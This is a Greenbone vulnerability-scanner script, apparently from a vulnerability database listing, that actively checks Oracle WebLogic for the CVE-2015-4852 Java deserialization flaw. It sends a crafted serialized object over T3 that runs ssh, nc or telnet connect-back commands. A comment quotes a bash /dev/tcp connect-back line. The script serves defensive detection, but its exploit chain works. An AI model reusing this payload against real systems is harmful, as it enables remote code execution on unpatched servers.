Oracle WebLogic Server Java Deserialization / RCE Vulnerability (CVE-2015-4852) - Active Check
🗓️ 27 Jul 2016 00:00:00Reported by Copyright (C) 2016 Greenbone AGType
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# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:bea:weblogic_server";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.105829");
script_version("2024-12-03T05:05:44+0000");
script_tag(name:"last_modification", value:"2024-12-03 05:05:44 +0000 (Tue, 03 Dec 2024)");
script_tag(name:"creation_date", value:"2016-07-27 14:18:32 +0200 (Wed, 27 Jul 2016)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2023-12-21 01:31:00 +0000 (Thu, 21 Dec 2023)");
script_cve_id("CVE-2015-4852");
script_tag(name:"qod_type", value:"remote_active");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Oracle WebLogic Server Java Deserialization / RCE Vulnerability (CVE-2015-4852) - Active Check");
script_category(ACT_ATTACK);
script_family("Web Servers");
script_copyright("Copyright (C) 2016 Greenbone AG");
script_dependencies("gb_oracle_weblogic_consolidation.nasl", "os_detection.nasl");
script_mandatory_keys("oracle/weblogic/detected");
script_require_ports("Services/weblogic-t3", 7001);
script_tag(name:"summary", value:"Oracle WebLogic Server is prone to a remote code execution (RCE)
vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted serialized Java object and checks if the
target is connecting back to the scanner host.
Note: For a successful detection of this flaw the target host needs to be able to reach the
scanner host on a TCP port randomly generated during the runtime of the VT (currently in the range
of 10000-32000).");
script_tag(name:"insight", value:"Unsafe deserialization allows unauthenticated remote attackers
to run arbitrary code on the Oracle WebLogic Server.");
script_tag(name:"impact", value:"Successfully exploiting this issue allows attackers to execute
arbitrary code in the context of the affected application.");
script_tag(name:"affected", value:"Oracle WebLogic Server versions 10.3.6.0, 12.1.2.0, 12.1.3.0
and 12.2.1.0 are known to be affected.");
script_tag(name:"solution", value:"Updates are available. Please see the references or vendor
advisory for more information.");
script_xref(name:"URL", value:"https://www.oracle.com/security-alerts/alert-cve-2015-4852.html");
script_xref(name:"URL", value:"https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/");
script_xref(name:"URL", value:"https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/weblogic.py");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("pcap_func.inc");
include("list_array_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"weblogic-t3" ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
ownhostname = this_host_name();
ownip = this_host();
target_host = get_host_ip();
src_filter = pcap_src_ip_filter_from_hostnames();
dst_filter = string( "(dst host ", ownip, " or dst host ", ownhostname, ")" );
payload_before = raw_string(
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0x01, 0x00, 0x00 );
payload_before += raw_string(
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payload_after = raw_string(
0xfe, 0x01, 0x00, 0x00, 0xac, 0xed, 0x00, 0x05, 0x73, 0x72, 0x00, 0x1d, 0x77, 0x65, 0x62, 0x6c,
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0x3c, 0xaf, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78 );
foreach connect_back_target( make_list( ownip, ownhostname ) ) {
# nb: We're currently using 10000-32000 to not get in conflict with the ephemeral port range used
# by most standard Linux/Unix operating systems. If we're choosing a port of that range we might
# have false positives due to race conditions (target is sending back a response to a request of
# another VT for which the scanner had chosen the same source port).
rnd_port = rand_int_range( min:10000, max:32000 );
filter = string( "tcp and dst port ", rnd_port, " and ", src_filter, " and ", dst_filter );
# nb: We're only interested in TCP SYN packets and want to ignore all others (e.g. ACK, RST, ...)
filter = string( filter, " and tcp[tcpflags] & (tcp-syn) != 0" );
if( os_host_runs( "Windows" ) == "yes" ) {
cmds = make_list( "telnet " + connect_back_target + " " + rnd_port );
} else {
# nb:
# - In the initial version of this VT only the ssh binary has been called. But some targets
# might not have the SSH client binary installed at all so a more generic approach has been
# taken here as well.
# - Initially the following command which works on a standard Linux has been tried:
# "echo " + base64( str:" >&/dev/tcp/" + connect_back_target + "/" + rnd_port + " 0>&1" ) + " | base64 -d | bash -i"
# but even working on the command line it seems the T3 protocol / the target might have
# problems with that so netcat has been used instead
# - nc commands used:
# - -z Only scan for listening daemons, without sending any data to them.
# - -n Do not perform domain name resolution.
cmds = make_list(
"ssh -q -i /dev/null -p " + rnd_port + " " + connect_back_target,
"nc -zn " + connect_back_target + " " + rnd_port
);
}
foreach cmd( cmds ) {
# nb: Always keep open_sock_tcp() after the first call of a function forking on multiple
# hostnames / vhosts (e.g. http_get(), http_post_put_req(), http_host_name(), get_host_name(),
# ...). Reason: If the fork would be done after calling open_sock_tcp() the child's would share
# the same socket causing race conditions and similar.
if( ! soc = open_sock_tcp( port ) )
continue;
req = 't3 12.2.1\n' +
'AS:255\n' +
'HL:19\n' +
'MS:10000000\n' +
'PU:t3://us-l-breens:7001\n\n';
send( socket:soc, data:req );
buf = recv( socket:soc, length:128 );
if( ! buf || "HELO" >!< buf ) {
close( soc );
continue;
}
len = raw_string( strlen( cmd ) );
final_payload = payload_before + len + cmd + raw_string(
0x74, 0x00, 0x04, 0x65, 0x78, 0x65, 0x63, 0x75, 0x71, 0x00, 0x7e, 0x00, 0x1e, 0x00, 0x00, 0x00,
0x01, 0x71, 0x00, 0x7e, 0x00, 0x23, 0x73, 0x71, 0x00, 0x7e, 0x00, 0x11, 0x73, 0x72, 0x00, 0x11,
0x6a, 0x61, 0x76, 0x61, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x65,
0x72, 0x12, 0xe2, 0xa0, 0xa4, 0xf7, 0x81, 0x87, 0x38, 0x02, 0x00, 0x01, 0x49, 0x00, 0x05, 0x76,
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0x6c, 0x64, 0x78, 0x70, 0x3f, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x08, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x78, 0x78, 0x76, 0x72, 0x00, 0x12, 0x6a, 0x61, 0x76, 0x61,
0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x2e, 0x4f, 0x76, 0x65, 0x72, 0x72, 0x69, 0x64, 0x65, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x71, 0x00, 0x7e, 0x00, 0x3a );
final_payload += payload_after;
plen = raw_string( strlen( final_payload ) );
final_payload = raw_string( 0x00, 0x00, 0x09 ) + plen + final_payload;
res = send_capture( socket:soc, data:final_payload, timeout:5, pcap_filter:filter );
close( soc );
if( ! res )
continue;
flags = get_tcp_element( tcp:res, element:"th_flags" );
if( ( flags & TH_SYN ) ) {
report = "It was possible to execute the command '" + cmd + "' on the remote host. The TCP-SYN request to port " + rnd_port + " was then successfully captured.";
security_message( port:port, data:report );
exit( 0 );
}
}
}
# nb: Don't use exit(99); as we can't be sure that the target isn't affected if e.g. the scanner
# host isn't reachable by the target host.
exit( 0 );
Data
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03 Dec 2024 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 27.5
CVSS 3.19.8
EPSS0.96032
SSVC